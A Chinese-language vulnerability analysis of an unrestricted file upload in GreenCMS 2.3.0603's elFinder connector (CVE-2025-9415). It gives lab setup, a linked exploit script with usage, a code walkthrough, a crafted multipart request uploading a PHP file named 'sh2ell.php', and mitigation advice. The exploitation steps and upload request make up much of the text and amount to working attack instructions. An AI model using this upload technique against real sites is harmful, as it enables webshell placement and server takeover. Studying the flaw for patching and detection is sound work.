0x0 背景介绍
在 GrееnCMS 2.3.0603 及更早版本中发现了一个漏洞。该漏洞影响了文件/index.php?m=admin&c=media&a=fileconnect中的未知部分。对参数upload[]的操纵导致了无限制的上传。该攻击可以远程执行。该漏洞的利用代码已公开,可能会被使用。此漏洞仅影响维护者不再支持的产品。
0x1 环境搭建
Win10+PhPstudy搭建配置
项目源码:GReenCMS 2014 *PS:php版本使用5.6x就可以,默认web安装即可,输入数据库密码就安装成功;
0x2 漏洞复现
python脚本
https://github.com/Kai-One001/cve-/blob/main/GreenCMS_upload_CVE-2025-9415.py
*PS:*脚本用法是python xx.py http://127.0.0.1/ -c "cookie"
1、使用的cookie我测试,并不是登录产生的,是这个项目返回的;2、我原本得想法是脚本去伪造捕获的,但是遇到一些问题greencms_last_visit_page是完整地址 是经过base64->url编码后的值,但是其它的除PHPSESSID是服务器返回的,另一个不懂得就是HMACCOUNT(好像是防止命令篡改的哈希令牌),没办法伪造,也没有仔细去深入项目代码研究;3、另一个cookie我发现谷歌浏览器抓取缺少一些值,burp反而是可以直接使用的。
复现截图
复现流量特征 (PACP)
1、尝试去获取下hash值/index.php?m=admin&c=media&a=fileconnect&cmd=open&init=1&tree=1 2、使用获取的值/默认值也可以,对接口/index.php?m=admin&c=media&a=fileconnect进行文件上传 3、随后进行上传文件验证
0x3 漏洞原理分析
根据发布信息说 /index.php?m=admin&c=media&a=fileconnect 存在文件上传
进入项目文件查看
访问路由 /index.php?m=admin&c=media&a=fileconnect
1:模块 (Module) → 目录
参数 m=admin告诉框架要去 Application目录下寻找名为 Admin的模块目录。
路径:./Application/Admin/
2:控制器 (Controller) → 文件:
参数 c=media告诉框架要去上述模块目录下的 Controller目录里,寻找名为Media的控制器文件。
ThinkPHP 3.2 的控制器的类名有特定格式:“控制器名” + “Controller” + “.class.php”。
所以这里,c=media映射到文件 MediaController.class.php=>查询文件路径为:./Application/Admin/Controller/MediaController.class.php
3:操作(Action) → 方法
参数 a=fileconnect是告诉框架要去上述控制器文件中,寻找名为fileconnect的 公共方法(public function)来执行。
MediaController.class.php中fileConnect 方法
#Application/Admin/Controller/MediaController.class.php
public function fileConnect()
{
$roots = array('Upload/', 'Application/', 'Public/', ''); //
$opts = $this->__array($roots);
define('GreenCMS', 'GreenCMS');
include WEB_ROOT . 'Extend/Elfinder/php/connector.php'; //包含elfinder自带php接口的入口文件
}
0直接 include 连接器,未在此处加入任何上传安全策略。
PS:这里代码简单,需要去挖掘下直接的 include 连接器(connector.php 是elFinder 的核心后端文件负责上传、浏览、删除等)。
1: 尝试构造下查询目录:GET /index.php?m=admin&c=media&a=fileconnect&cmd=open&init=1&tree=1
2: 通过 cmd 参数执行不同命令:
cmd值 -> 功能
open -> 打开目录
upload -> 上传文件
rm -> 删除文件
mkdir -> 创建目录
3: 获取后响应如下:从中可以看到所有目录,包括一个upload信息:有路径和hash等参数
{"cwd":{"mime":"directory","ts":1756199508,"read":1,"write":1,"size":0,"hash":"l1_XA","volumeid":"l1_","name":"Upload","locked":1},"options":{"path":"Upload","url":"\/Upload\/","tmbUrl":"\/Upload\/.tmb\/","disabled":[],"separator":"\\","copyOverwrite":1,"archivers":{"create":["application\/x-tar"],"extract":["application\/x-tar"]}},
现在回到fileConnect 代码有一处include WEB_ROOT,根据这个线索找到connector.php
#\GreenCMS-2.3.0603\Extend\Elfinder\php\connector.php
defined('GreenCMS') or exit();
error_reporting(0); // Set E_ALL for debuging
include_once dirname(__FILE__).DIRECTORY_SEPARATOR.'elFinderConnector.class.php';
include_once dirname(__FILE__).DIRECTORY_SEPARATOR.'elFinder.class.php';
include_once dirname(__FILE__).DIRECTORY_SEPARATOR.'elFinderVolumeDriver.class.php';
include_once dirname(__FILE__).DIRECTORY_SEPARATOR.'elFinderVolumeLocalFileSystem.class.php';
// Required for MySQL storage connector
// include_once dirname(__FILE__).DIRECTORY_SEPARATOR.'elFinderVolumeMySQL.class.php';
// Required for FTP connector support
// include_once dirname(__FILE__).DIRECTORY_SEPARATOR.'elFinderVolumeFTP.class.php';
/**
* Simple function to demonstrate how to control file access using "accessControl" callback.
* This method will disable accessing files/folders starting from '.' (dot)
*
* @param string $attr attribute name (read|write|locked|hidden)
* @param string $path file path relative to volume root directory started with directory separator
* @return bool|null
**/
function access($attr, $path, $data, $volume) {
return strpos(basename($path), '.') === 0 // if file/folder begins with '.' (dot)
? !($attr == 'read' || $attr == 'write') // set read+write to false, other (locked+hidden) set to true
: null; // else elFinder decide it itself
}
// Documentation for connector options:
// https://github.com/Studio-42/elFinder/wiki/Connector-configuration-options
//$opts = array(
// // 'debug' => true,
// 'roots' => array(
// array(
// 'driver' => 'LocalFileSystem', // driver for accessing file system (REQUIRED)
// 'path' => '../files/', // path to files (REQUIRED)
// 'URL' => dirname($_SERVER['PHP_SELF']) . '/../files/', // URL to files (REQUIRED)
// 'accessControl' => 'access' // disable and hide dot starting files (OPTIONAL)
// )
// )
//);
// run elFinder
$connector = new elFinderConnector(new elFinder($opts));
$connector->run();
0: 代码中调用几个class.php,下面提到调用的是elfinder.class.php 示例:$connector = new elFinderConnector(new elFinder($opts));
1:elfinder.class.php中的protected $commands = array定义了许多方法,我们关注到upload就可以
protected $commands = array(
'upload' => array('target' => true, 'FILES' => true, 'mimes' => false, 'html' => false)
);
2:upload 中发现使用的话需要几个必要参数,cmd=upload&target=xxx,再往下看看upload方法。
elfinder.class.php->protected function upload
protected function upload($args) {
$target = $args['target'];
$volume = $this->volume($target);
$files = isset($args['FILES']['upload']) && is_array($args['FILES']['upload']) ? $args['FILES']['upload'] : array();
$result = array('added' => array(), 'header' => empty($args['html']) ? false : 'Content-Type: text/html; charset=utf-8');
if (empty($files)) {
return array('error' => $this->error(self::ERROR_UPLOAD, self::ERROR_UPLOAD_NO_FILES), 'header' => $header);
}
if (!$volume) {
return array('error' => $this->error(self::ERROR_UPLOAD, self::ERROR_TRGDIR_NOT_FOUND, '#'.$target), 'header' => $header);
}
foreach ($files['name'] as $i => $name) {
if (($error = $files['error'][$i]) > 0) {
$result['warning'] = $this->error(self::ERROR_UPLOAD_FILE, $name, $error == UPLOAD_ERR_INI_SIZE || $error == UPLOAD_ERR_FORM_SIZE ? self::ERROR_UPLOAD_FILE_SIZE : self::ERROR_UPLOAD_TRANSFER);
$this->uploadDebug = 'Upload error code: '.$error;
break;
}
$tmpname = $files['tmp_name'][$i];
if (($fp = fopen($tmpname, 'rb')) == false) {
$result['warning'] = $this->error(self::ERROR_UPLOAD_FILE, $name, self::ERROR_UPLOAD_TRANSFER);
$this->uploadDebug = 'Upload error: unable open tmp file';
break;
}
if (($file = $volume->upload($fp, $target, $name, $tmpname)) === false) {
$result['warning'] = $this->error(self::ERROR_UPLOAD_FILE, $name, $volume->error());
fclose($fp);
break;
}
fclose($fp);
$result['added'][] = $file;
}
return $result;
}
这里就明显了,也没有什么过滤和限制,可以尝试构造上传。
构造上传的请求:
ontent-Type: multipart/form-data; boundary=----BOUNDARY
Connection: close
Content-Length: 403
------BOUNDARY
Content-Disposition: form-data; name="cmd"
upload
------BOUNDARY
Content-Disposition: form-data; name="target"
l1_XA
------BOUNDARY
Content-Disposition: form-data; name="overwrite"
1
------BOUNDARY
Content-Disposition: form-data; name="upload[]"; filename="sh2ell.php"
Content-Type: application/octet-stream
------BOUNDARY--
0x4 修复建议
修复方案
当前官方好像没有发布补丁,只能临时缓解。临时缓解措施: 最小化根目录:仅保留受控上传目录(如 Upload/);移除 Application/、项目根 ''; 严格上传策略:elFinder $opts 、acceptedName 使用严格文件名正则,过滤危险字符等; Web 服务器层禁止脚本执行: Upload/、Public/Upload/ 等目录显式禁用 PHP 解析;(Nginx/Apache 均需配置); 控制器二次校验:校验后缀、MIME、文件头签名、大小与数量。
免责声明:本文仅用于安全研究目的,未经授权不得用于非法渗透测试活动。